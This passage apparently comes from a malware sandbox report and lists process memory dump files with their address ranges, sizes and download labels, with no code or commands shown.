                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4504-427-0x0000000002D40000-0x0000000002D41000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4684-754-0x0000000000CD0000-0x0000000000E1A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4684-746-0x0000000001400000-0x0000000001720000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3.1MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4732-343-0x0000000003720000-0x0000000003721000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4732-312-0x0000000077D20000-0x0000000077EAE000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4800-303-0x0000000000250000-0x0000000000251000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4800-304-0x0000000000250000-0x0000000000251000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4924-348-0x0000000077D20000-0x0000000077EAE000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4924-366-0x0000000005660000-0x0000000005661000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4984-393-0x000002E0ADFD0000-0x000002E0AE042000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  456KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4984-569-0x000002E0AF880000-0x000002E0AF89B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  108KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4984-570-0x000002E0B0800000-0x000002E0B0905000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.0MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5324-756-0x00000000004C0000-0x00000000004E7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  156KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5324-758-0x0000000000400000-0x000000000046B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  428KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5512-490-0x0000000005390000-0x000000000543C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  688KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5512-491-0x00000000054F0000-0x000000000559B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  684KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download